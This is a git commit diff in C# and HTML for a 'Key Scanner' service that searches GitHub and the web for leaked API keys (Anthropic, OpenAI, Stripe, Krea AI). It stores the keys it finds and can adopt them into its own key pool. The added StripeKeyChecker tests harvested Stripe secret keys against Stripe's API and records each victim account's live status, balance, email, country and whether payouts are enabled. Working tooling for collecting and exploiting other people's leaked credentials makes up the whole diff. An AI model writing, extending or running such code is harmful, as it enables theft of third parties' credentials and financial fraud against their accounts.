feat: Stripe-Key-Checker, Krea AI Pattern, Scan-Progress-Tracking
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), Live/Test-Erkennung, Balance, Account-Details - KeyPatterns: Stripe-Patterns einkommentiert (sk_live_, sk_test_), Krea AI Pattern (UUID:Token), Mindest-Suchlänge 4 - KeyScannerService: Stripe-Check integriert, Auto-Check nach Scan entfernt (manuell separat), Progress-Tracking (Phase, Detail, Current/Total, KeysFound) - ApiKeysEndpoint: Stripe in HandleCheck/HandleCheckAll/HandleAdopt, Progress im Status-Endpoint - Frontend: Live-Fortschrittsanzeige mit Spinner, Phase, Query, Counter, Polling 1.5s, Krea AI in typeNames/typeIcons
This commit is contained in:
1 parent
122000487c
commit
3cd35ebbfa
6 files changed
+326
-14
No files matched your search
@@ -220,6 +220,27 @@ public static class ApiKeysEndpoint
|
|||||||
await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message });
|
await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "stripe":
|
||||||
|
{
|
||||||
|
var result = await StripeKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
|
||||||
|
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null);
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new {
|
||||||
|
status = dbStatus,
|
||||||
|
message = result.Message,
|
||||||
|
plan = result.IsLiveKey ? "Live" : "Test",
|
||||||
|
result.AccountId,
|
||||||
|
result.AccountName,
|
||||||
|
result.AccountEmail,
|
||||||
|
result.AccountCountry,
|
||||||
|
result.Currency,
|
||||||
|
result.BalanceAvailable,
|
||||||
|
result.BalancePending,
|
||||||
|
result.ChargesEnabled,
|
||||||
|
result.PayoutsEnabled
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
ctx.Response.StatusCode = 400;
|
ctx.Response.StatusCode = 400;
|
||||||
@@ -264,6 +285,14 @@ public static class ApiKeysEndpoint
|
|||||||
results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null });
|
results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "stripe":
|
||||||
|
{
|
||||||
|
var result = await StripeKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey);
|
||||||
|
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null);
|
||||||
|
results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.IsLiveKey ? "Live" : "Test", Usage5h = (double?)null, Usage7d = (double?)null });
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -294,11 +323,17 @@ public static class ApiKeysEndpoint
|
|||||||
{
|
{
|
||||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; }
|
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; }
|
||||||
|
|
||||||
|
var progress = scanner.Progress;
|
||||||
return ctx.Response.WriteAsJsonAsync(new
|
return ctx.Response.WriteAsJsonAsync(new
|
||||||
{
|
{
|
||||||
running = scanner.IsRunning,
|
running = scanner.IsRunning,
|
||||||
lastRun = scanner.LastRun,
|
lastRun = scanner.LastRun,
|
||||||
lastResult = scanner.LastResult
|
lastResult = scanner.LastResult,
|
||||||
|
phase = progress.Phase,
|
||||||
|
detail = progress.Detail,
|
||||||
|
current = progress.Current,
|
||||||
|
total = progress.Total,
|
||||||
|
keysFound = progress.KeysFound
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -426,6 +461,7 @@ public static class ApiKeysEndpoint
|
|||||||
string provider;
|
string provider;
|
||||||
if (keyType.StartsWith("openai")) provider = "openai";
|
if (keyType.StartsWith("openai")) provider = "openai";
|
||||||
else if (keyType == "google_api") provider = "google";
|
else if (keyType == "google_api") provider = "google";
|
||||||
|
else if (keyType.StartsWith("stripe")) provider = "stripe";
|
||||||
else provider = "anthropic";
|
else provider = "anthropic";
|
||||||
|
|
||||||
var record = new ApiKeyRecord
|
var record = new ApiKeyRecord
|
||||||
|
|||||||
@@ -19,6 +19,9 @@ public static class KeyPatterns
|
|||||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"),
|
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"),
|
||||||
(@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"),
|
(@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"),
|
||||||
|
|
||||||
|
// Krea AI (UUID:Base32Token)
|
||||||
|
(@"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}:[A-Za-z0-9]{32}", "krea", "krea_ai"),
|
||||||
|
|
||||||
// OpenAI
|
// OpenAI
|
||||||
(@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"),
|
(@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"),
|
||||||
(@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"),
|
(@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"),
|
||||||
@@ -56,7 +59,7 @@ public static class KeyPatterns
|
|||||||
/// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK").
|
/// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK").
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch =
|
public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch =
|
||||||
All.Where(p => p.SearchTerm.Length >= 5).ToArray();
|
All.Where(p => p.SearchTerm.Length >= 4).ToArray();
|
||||||
|
|
||||||
// ── Kompilierte Regexe (einmalig, alle Patterns) ──
|
// ── Kompilierte Regexe (einmalig, alle Patterns) ──
|
||||||
|
|
||||||
@@ -84,6 +87,9 @@ public static class KeyPatterns
|
|||||||
if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface";
|
if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface";
|
||||||
if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid";
|
if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid";
|
||||||
if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack";
|
if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack";
|
||||||
|
// Krea AI: UUID:Token Format
|
||||||
|
if (key.Length == 69 && key[8] == '-' && key[13] == '-' && key[18] == '-' && key[23] == '-' && key[36] == ':')
|
||||||
|
return "krea_ai";
|
||||||
return "unknown";
|
return "unknown";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -114,6 +120,7 @@ public static class KeyPatterns
|
|||||||
"stripe_test" => "Stripe Test",
|
"stripe_test" => "Stripe Test",
|
||||||
"sendgrid" => "SendGrid",
|
"sendgrid" => "SendGrid",
|
||||||
"slack" => "Slack",
|
"slack" => "Slack",
|
||||||
|
"krea_ai" => "Krea AI",
|
||||||
_ => type
|
_ => type
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,10 +33,38 @@ public class KeyScannerService : BackgroundService
|
|||||||
private readonly ManualResetEventSlim _triggerNow = new(false);
|
private readonly ManualResetEventSlim _triggerNow = new(false);
|
||||||
private string _scanMode = "full"; // full, quick, web
|
private string _scanMode = "full"; // full, quick, web
|
||||||
|
|
||||||
|
// Progress-Tracking
|
||||||
|
private string _progressPhase = "";
|
||||||
|
private string _progressDetail = "";
|
||||||
|
private int _progressCurrent;
|
||||||
|
private int _progressTotal;
|
||||||
|
private int _progressKeysFound;
|
||||||
|
|
||||||
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||||||
public string LastRun { get { lock (_lock) return _lastRun; } }
|
public string LastRun { get { lock (_lock) return _lastRun; } }
|
||||||
public string LastResult { get { lock (_lock) return _lastResult; } }
|
public string LastResult { get { lock (_lock) return _lastResult; } }
|
||||||
|
|
||||||
|
public (string Phase, string Detail, int Current, int Total, int KeysFound) Progress
|
||||||
|
{
|
||||||
|
get { lock (_lock) return (_progressPhase, _progressDetail, _progressCurrent, _progressTotal, _progressKeysFound); }
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SetProgress(string phase, string detail = "", int current = 0, int total = 0)
|
||||||
|
{
|
||||||
|
lock (_lock)
|
||||||
|
{
|
||||||
|
_progressPhase = phase;
|
||||||
|
_progressDetail = detail;
|
||||||
|
_progressCurrent = current;
|
||||||
|
_progressTotal = total;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void IncrementKeysFound()
|
||||||
|
{
|
||||||
|
lock (_lock) _progressKeysFound++;
|
||||||
|
}
|
||||||
|
|
||||||
private void AddLog(string type, string message, string details = null)
|
private void AddLog(string type, string message, string details = null)
|
||||||
{
|
{
|
||||||
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
|
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
|
||||||
@@ -161,6 +189,8 @@ public class KeyScannerService : BackgroundService
|
|||||||
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
|
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
|
||||||
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
|
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
|
||||||
AddLog("scan", modeLabel + "-Scan gestartet");
|
AddLog("scan", modeLabel + "-Scan gestartet");
|
||||||
|
lock (_lock) _progressKeysFound = 0;
|
||||||
|
SetProgress("Starte " + modeLabel + "-Scan…");
|
||||||
var newKeysFound = 0;
|
var newKeysFound = 0;
|
||||||
var totalFound = 0;
|
var totalFound = 0;
|
||||||
|
|
||||||
@@ -174,6 +204,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
// Web: nur Serper
|
// Web: nur Serper
|
||||||
if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken))
|
if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken))
|
||||||
{
|
{
|
||||||
|
SetProgress("GitHub Code Search", "Starte…");
|
||||||
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
|
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
|
||||||
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
|
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
|
||||||
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
|
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
|
||||||
@@ -181,6 +212,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
|
|
||||||
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
|
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
|
||||||
{
|
{
|
||||||
|
SetProgress("Web-Suche (Serper)", "Starte…");
|
||||||
var spKeys = await ScanSerper(ct);
|
var spKeys = await ScanSerper(ct);
|
||||||
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
|
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
|
||||||
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
|
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
|
||||||
@@ -189,9 +221,13 @@ public class KeyScannerService : BackgroundService
|
|||||||
totalFound = allFoundKeys.Count;
|
totalFound = allFoundKeys.Count;
|
||||||
|
|
||||||
// Phase 2: Neue Keys in DB speichern (dedupliziert)
|
// Phase 2: Neue Keys in DB speichern (dedupliziert)
|
||||||
|
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", 0, totalFound);
|
||||||
var seen = new HashSet<string>(StringComparer.Ordinal);
|
var seen = new HashSet<string>(StringComparer.Ordinal);
|
||||||
|
var saveIdx = 0;
|
||||||
foreach (var (key, sourceUrl, source) in allFoundKeys)
|
foreach (var (key, sourceUrl, source) in allFoundKeys)
|
||||||
{
|
{
|
||||||
|
saveIdx++;
|
||||||
|
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
|
||||||
if (!seen.Add(key)) continue;
|
if (!seen.Add(key)) continue;
|
||||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||||
continue;
|
continue;
|
||||||
@@ -201,6 +237,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
var typeName = KeyPatterns.DisplayName(keyType);
|
var typeName = KeyPatterns.DisplayName(keyType);
|
||||||
|
|
||||||
newKeysFound++;
|
newKeysFound++;
|
||||||
|
IncrementKeysFound();
|
||||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||||
{
|
{
|
||||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
||||||
@@ -234,6 +271,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu";
|
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
SetProgress("Abgeschlossen", _lastResult);
|
||||||
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
|
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
|
||||||
}
|
}
|
||||||
catch (OperationCanceledException) { /* shutdown */ }
|
catch (OperationCanceledException) { /* shutdown */ }
|
||||||
@@ -286,6 +324,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
{
|
{
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
var (query, regex) = queries[i];
|
var (query, regex) = queries[i];
|
||||||
|
SetProgress("GitHub Code Search (Quick)", query, i + 1, queries.Count);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -295,6 +334,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
}
|
}
|
||||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||||
{
|
{
|
||||||
|
SetProgress("GitHub Code Search (Quick)", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
|
||||||
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
|
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
|
||||||
await Task.Delay(60_000, ct);
|
await Task.Delay(60_000, ct);
|
||||||
}
|
}
|
||||||
@@ -323,6 +363,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
{
|
{
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
var (query, regex) = queries[i];
|
var (query, regex) = queries[i];
|
||||||
|
SetProgress("GitHub Code Search", query, i + 1, queries.Count);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -332,6 +373,7 @@ public class KeyScannerService : BackgroundService
|
|||||||
}
|
}
|
||||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||||
{
|
{
|
||||||
|
SetProgress("GitHub Code Search", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
|
||||||
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
|
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
|
||||||
await Task.Delay(60_000, ct);
|
await Task.Delay(60_000, ct);
|
||||||
try
|
try
|
||||||
@@ -484,9 +526,11 @@ public class KeyScannerService : BackgroundService
|
|||||||
var client = _httpFactory.CreateClient();
|
var client = _httpFactory.CreateClient();
|
||||||
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
||||||
|
|
||||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
for (int i = 0; i < SearchPatterns.Length; i++)
|
||||||
{
|
{
|
||||||
|
var (pattern, searchTerm, _) = SearchPatterns[i];
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
|
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
|
|
||||||
try
|
try
|
||||||
@@ -567,6 +611,14 @@ public class KeyScannerService : BackgroundService
|
|||||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||||
}
|
}
|
||||||
|
else if (type == "stripe_live" || type == "stripe_test")
|
||||||
|
{
|
||||||
|
var result = await StripeKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||||
|
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||||
|
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||||
|
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||||
|
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, is_live = result.IsLiveKey, account_id = result.AccountId, account_name = result.AccountName, account_email = result.AccountEmail, country = result.AccountCountry, balance_available = result.BalanceAvailable, balance_pending = result.BalancePending, currency = result.Currency, charges_enabled = result.ChargesEnabled, payouts_enabled = result.PayoutsEnabled, source_url = sk.SourceUrl }));
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
|
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
|
||||||
|
|||||||
@@ -0,0 +1,201 @@
|
|||||||
|
using System;
|
||||||
|
using System.Net.Http;
|
||||||
|
using System.Net.Http.Headers;
|
||||||
|
using System.Text.Json;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Gott.Services
|
||||||
|
{
|
||||||
|
public class StripeCheckResult
|
||||||
|
{
|
||||||
|
public string Status { get; set; } // "ok", "invalid", "error"
|
||||||
|
public string Message { get; set; }
|
||||||
|
public bool IsLiveKey { get; set; }
|
||||||
|
public string Currency { get; set; }
|
||||||
|
public long? BalanceAvailable { get; set; }
|
||||||
|
public long? BalancePending { get; set; }
|
||||||
|
public string AccountId { get; set; }
|
||||||
|
public string AccountName { get; set; }
|
||||||
|
public string AccountEmail { get; set; }
|
||||||
|
public string AccountCountry { get; set; }
|
||||||
|
public bool? PayoutsEnabled { get; set; }
|
||||||
|
public bool? ChargesEnabled { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class StripeKeyChecker
|
||||||
|
{
|
||||||
|
public static async Task<StripeCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var client = httpFactory.CreateClient();
|
||||||
|
client.Timeout = TimeSpan.FromSeconds(30);
|
||||||
|
|
||||||
|
var isLive = apiKey.StartsWith("sk_live_", StringComparison.Ordinal);
|
||||||
|
|
||||||
|
// Step 1: Check /v1/balance (read-only, no cost)
|
||||||
|
var balanceRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/balance");
|
||||||
|
balanceRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||||
|
|
||||||
|
var balanceResp = await client.SendAsync(balanceRequest);
|
||||||
|
var balanceBody = await balanceResp.Content.ReadAsStringAsync();
|
||||||
|
var balanceCode = (int)balanceResp.StatusCode;
|
||||||
|
|
||||||
|
if (balanceCode == 401)
|
||||||
|
{
|
||||||
|
return new StripeCheckResult
|
||||||
|
{
|
||||||
|
Status = "invalid",
|
||||||
|
Message = "Ungültig oder revoked (401)",
|
||||||
|
IsLiveKey = isLive
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (balanceCode >= 400)
|
||||||
|
{
|
||||||
|
// Parse error
|
||||||
|
var errorMsg = "Unbekannter Fehler";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using var errDoc = JsonDocument.Parse(balanceBody);
|
||||||
|
if (errDoc.RootElement.TryGetProperty("error", out var errObj) &&
|
||||||
|
errObj.TryGetProperty("message", out var msg))
|
||||||
|
errorMsg = msg.GetString();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
return new StripeCheckResult
|
||||||
|
{
|
||||||
|
Status = "error",
|
||||||
|
Message = $"API-Fehler ({balanceCode}): {errorMsg}",
|
||||||
|
IsLiveKey = isLive
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse balance
|
||||||
|
string currency = null;
|
||||||
|
long balanceAvailable = 0;
|
||||||
|
long balancePending = 0;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using var balDoc = JsonDocument.Parse(balanceBody);
|
||||||
|
var root = balDoc.RootElement;
|
||||||
|
|
||||||
|
if (root.TryGetProperty("available", out var available) && available.GetArrayLength() > 0)
|
||||||
|
{
|
||||||
|
var first = available[0];
|
||||||
|
if (first.TryGetProperty("currency", out var cur))
|
||||||
|
currency = cur.GetString()?.ToUpperInvariant();
|
||||||
|
if (first.TryGetProperty("amount", out var amt))
|
||||||
|
balanceAvailable = amt.GetInt64();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (root.TryGetProperty("pending", out var pending) && pending.GetArrayLength() > 0)
|
||||||
|
{
|
||||||
|
var first = pending[0];
|
||||||
|
if (first.TryGetProperty("amount", out var amt))
|
||||||
|
balancePending = amt.GetInt64();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// Step 2: Get account info via /v1/account
|
||||||
|
string accountId = null;
|
||||||
|
string accountName = null;
|
||||||
|
string accountEmail = null;
|
||||||
|
string accountCountry = null;
|
||||||
|
bool? payoutsEnabled = null;
|
||||||
|
bool? chargesEnabled = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var accountRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/account");
|
||||||
|
accountRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||||
|
|
||||||
|
var accountResp = await client.SendAsync(accountRequest);
|
||||||
|
if ((int)accountResp.StatusCode == 200)
|
||||||
|
{
|
||||||
|
var accountBody = await accountResp.Content.ReadAsStringAsync();
|
||||||
|
using var accDoc = JsonDocument.Parse(accountBody);
|
||||||
|
var acc = accDoc.RootElement;
|
||||||
|
|
||||||
|
if (acc.TryGetProperty("id", out var id))
|
||||||
|
accountId = id.GetString();
|
||||||
|
if (acc.TryGetProperty("business_profile", out var bp) && bp.TryGetProperty("name", out var name))
|
||||||
|
accountName = name.GetString();
|
||||||
|
if (acc.TryGetProperty("email", out var email))
|
||||||
|
accountEmail = email.GetString();
|
||||||
|
if (acc.TryGetProperty("country", out var country))
|
||||||
|
accountCountry = country.GetString();
|
||||||
|
if (acc.TryGetProperty("payouts_enabled", out var pe))
|
||||||
|
payoutsEnabled = pe.GetBoolean();
|
||||||
|
if (acc.TryGetProperty("charges_enabled", out var ce))
|
||||||
|
chargesEnabled = ce.GetBoolean();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// Build message
|
||||||
|
var parts = new System.Collections.Generic.List<string>();
|
||||||
|
|
||||||
|
parts.Add(isLive ? "🔴 LIVE Key" : "🟡 Test Key");
|
||||||
|
|
||||||
|
if (accountName != null)
|
||||||
|
parts.Add($"Account: {accountName}");
|
||||||
|
else if (accountId != null)
|
||||||
|
parts.Add($"Account: {accountId}");
|
||||||
|
|
||||||
|
if (accountEmail != null)
|
||||||
|
parts.Add($"Email: {accountEmail}");
|
||||||
|
|
||||||
|
if (accountCountry != null)
|
||||||
|
parts.Add($"Land: {accountCountry}");
|
||||||
|
|
||||||
|
if (currency != null)
|
||||||
|
{
|
||||||
|
var availFormatted = FormatAmount(balanceAvailable, currency);
|
||||||
|
var pendingFormatted = FormatAmount(balancePending, currency);
|
||||||
|
parts.Add($"Balance: {availFormatted} verfügbar, {pendingFormatted} ausstehend");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (chargesEnabled.HasValue)
|
||||||
|
parts.Add(chargesEnabled.Value ? "✅ Charges aktiv" : "❌ Charges deaktiviert");
|
||||||
|
|
||||||
|
if (payoutsEnabled.HasValue)
|
||||||
|
parts.Add(payoutsEnabled.Value ? "✅ Payouts aktiv" : "❌ Payouts deaktiviert");
|
||||||
|
|
||||||
|
return new StripeCheckResult
|
||||||
|
{
|
||||||
|
Status = "ok",
|
||||||
|
Message = string.Join(" · ", parts),
|
||||||
|
IsLiveKey = isLive,
|
||||||
|
Currency = currency,
|
||||||
|
BalanceAvailable = balanceAvailable,
|
||||||
|
BalancePending = balancePending,
|
||||||
|
AccountId = accountId,
|
||||||
|
AccountName = accountName,
|
||||||
|
AccountEmail = accountEmail,
|
||||||
|
AccountCountry = accountCountry,
|
||||||
|
PayoutsEnabled = payoutsEnabled,
|
||||||
|
ChargesEnabled = chargesEnabled
|
||||||
|
};
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
return new StripeCheckResult
|
||||||
|
{
|
||||||
|
Status = "error",
|
||||||
|
Message = ex.Message,
|
||||||
|
IsLiveKey = apiKey.StartsWith("sk_live_", StringComparison.Ordinal)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string FormatAmount(long amountInCents, string currency)
|
||||||
|
{
|
||||||
|
var amount = amountInCents / 100.0;
|
||||||
|
return $"{amount:N2} {currency}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-3
@@ -557,8 +557,6 @@
|
|||||||
<h1>API-Keys</h1>
|
<h1>API-Keys</h1>
|
||||||
</header>
|
</header>
|
||||||
<div class="page-content">
|
<div class="page-content">
|
||||||
<div id="eventScannerStatus" style="display:none;padding:1em;"></div>
|
|
||||||
|
|
||||||
<div class="form">
|
<div class="form">
|
||||||
<div class="section-header">
|
<div class="section-header">
|
||||||
<h2>API-Key</h2>
|
<h2>API-Key</h2>
|
||||||
@@ -585,17 +583,19 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div id="eventScannerStatus" style="display:none;padding:1em 2em;"></div>
|
||||||
|
|
||||||
<div class="form">
|
<div class="form">
|
||||||
<div class="section-header">
|
<div class="section-header">
|
||||||
<h2>Key Scanner</h2>
|
<h2>Key Scanner</h2>
|
||||||
<div style="display:flex;gap:.5rem;align-items:center">
|
<div style="display:flex;gap:.5rem;align-items:center">
|
||||||
<span id="scanStatus" class="admin-user-meta" style="font-size:.85em"></span>
|
|
||||||
<button id="recheckAllScannedBtn" class="section-add-btn"><i class="fa fa-refresh"></i> Alle prüfen</button>
|
<button id="recheckAllScannedBtn" class="section-add-btn"><i class="fa fa-refresh"></i> Alle prüfen</button>
|
||||||
<button id="scanQuickBtn" class="section-add-btn"><i class="fa fa-bolt"></i> Quick</button>
|
<button id="scanQuickBtn" class="section-add-btn"><i class="fa fa-bolt"></i> Quick</button>
|
||||||
<button id="scanWebBtn" class="section-add-btn"><i class="fa fa-globe"></i> Web</button>
|
<button id="scanWebBtn" class="section-add-btn"><i class="fa fa-globe"></i> Web</button>
|
||||||
<button id="scanFullBtn" class="section-add-btn"><i class="fa fa-search"></i> Full</button>
|
<button id="scanFullBtn" class="section-add-btn"><i class="fa fa-search"></i> Full</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div id="scanStatus" style="font-size:.85em;color:var(--text-secondary);padding:0 0 .5rem 0"></div>
|
||||||
<div id="scannedKeysList" class="admin-user-list"></div>
|
<div id="scannedKeysList" class="admin-user-list"></div>
|
||||||
<div class="form-actions">
|
<div class="form-actions">
|
||||||
<button hidden> </button>
|
<button hidden> </button>
|
||||||
